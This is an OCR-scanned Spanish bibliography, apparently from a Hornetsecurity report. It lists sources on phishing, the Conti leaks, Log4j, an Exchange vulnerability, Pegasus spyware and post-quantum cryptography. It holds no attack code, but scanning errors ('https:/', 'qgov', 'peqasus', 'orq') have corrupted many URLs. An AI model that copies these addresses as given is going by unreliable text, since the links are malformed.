«  HTML Phishing Solicitar la Contrasefa Dos veces — https:/www.hornetsecurity.com/en/
security-informationen-en/html-phishing-asking-for-the-password-twice/

« Las fugas de Conti: Un caso de comercializacion de la ciberdelincuencia — https:/www.
cisecurity.org/insights/blog/the-conti-leaks-a-case-of-cybercrimes-commercialization

. Informe: Se espera que el gasto publico en Ia nube crezca un 20,4 % en 2022 —
https://venturebeat.com/business/report-public-cloud-spending-expected-to-qgrow-20-
4-in-2022/
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Apache Log4j Guia de Vulnerabilidad — https://www.cisa.qgov/uscert/apache-log4j-vulner
ability-quidance

Base de datos nacional de vulnerabilidades: Microsoft Exchange — https:/nvd.nist.
gov/vuln/search/results?form_type=Basic&results_type=overview&query=Microsoft+
exchange&queryType=phrase&search_type=all&isCpeNameSearch=false

Vulnerabilidad de ejecucion remota de codigo de Microsoft Exchange Server: CVE-2022-
41082 — https:/msrc.microsoft.com/update-quide/vulnerability/CVE-2022-41082

Grupos — https://attack.mitre.org/groups/

Las ciberdefensas ucranianas son resistentes — https:/www.computerweekly.com/
news/252514798/Ukrainian-cyber-defences-prove-resilient

Microsoft Teams almacena tokens auth como texto claro en Windows, Linux, Macs —
https:/www.bleepingcomputer.com/news/security/microsoft-teams-stores-auth-tokens-
as-cleartext-in-windows-linux-macs/

Decenas de activistas y simpatizantes tailandeses hackeados por Pegasus de NSO Group
https:/www.washingtonpost.com/technoloqy/2022/07/17/peqasus-nso-thailand-apple/

Lista de portales de administracion de Microsoft 365 — https:/msportals.io
Los hackers son cada vez ma3s rapidos explotando fallos de dia cero. Eso va a ser un prob
lema para todos — https:/www.zdnet.com/article/hackers-are-qgetting-faster-at-exploit

ing-zero-day-flaws-thats-qoing-to-be-a-problem-for-everyone/

Crystals — Suite Criptografica para Latidos Algebraicos: Kyber — https:/pq-crystals.org/
kyber/index.shtml

Crystals — Suite Criptografica para Latidos Algebraicos: Dilitio — https://pq-crustals.orq/
dilithium/index.shtml

Firmas compactas basadas en enrejamientos rapidos sobre NTRU (FALCON) — https://fal
con-sign.info/

Sistema de firma basado en hash sin estado (SPHINCS) — https:/sphincs.org/

Cero Mandamientos de Confianza — https:/pubs.opengroup.org/security/zero-trust-com
mandments/

Alerta roja: Advertencia debido a vulnerabilidad critica de sequridad Log4Shell - https:/
www.hornetsecurity.com/en/threat-research/red-alert-log4j/?_adin=02021864894

Advertencia de fraude de caridad - https:/www.fbi.gov/contact-us/field-offices/omaha/
news/press-releases/charity-fraud-warning

FBI advierte de organizaciones beneficas ucranianas suplantadas para robar donaciones
https:/www.bleepingcomputer.com/news/security/fbi-warns-of-ukrainian-charities-
impersonated-to-steal-donations/
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Bifurcacion de OpenSSL que incluye prototipos de algoritmos y cifrados resistentes al
cuantico basados en liboqs — https://github.com/open-quantum-safe/openssl/tree/OQS-
OpenSSL_1_1_1-stable

Wirtschaftsschutz 2022 — https://www.bitkom.org/sites/main/files/2022-08/Bitkom-
Charts_Wirtschaftsschutz_Cybercrime_31.08.2022.pdf

Email Conversation Thread Hijacking — https:/www.hornetsecurity.com/en/security-
information/email-conversation-thread-hijacking/?_adin=01833301559

Fallos de las aplicaciones de escritorio comunes parcheados en Black Hat —
https://techhq.com/2022/08/electron-wrapper-security-malware-distribution-news-
ratings-opinion/

A )\

HORNETSECURITY



https://github.com/open-quantum-safe/openssl/tree/OQS-OpenSSL_1_1_1-stable
https://github.com/open-quantum-safe/openssl/tree/OQS-OpenSSL_1_1_1-stable
https://github.com/open-quantum-safe/openssl/tree/OQS-OpenSSL_1_1_1-stable
https://www.bitkom.org/sites/main/files/2022-08/Bitkom-Charts_Wirtschaftsschutz_Cybercrime_31.08.2022.pdf
https://www.bitkom.org/sites/main/files/2022-08/Bitkom-Charts_Wirtschaftsschutz_Cybercrime_31.08.2022.pdf
https://www.hornetsecurity.com/en/security-information/email-conversation-thread-hijacking/?_adin=01833301559
https://www.hornetsecurity.com/en/security-information/email-conversation-thread-hijacking/?_adin=01833301559
https://techhq.com/2022/08/electron-wrapper-security-malware-distribution-news-ratings-opinion/
https://techhq.com/2022/08/electron-wrapper-security-malware-distribution-news-ratings-opinion/

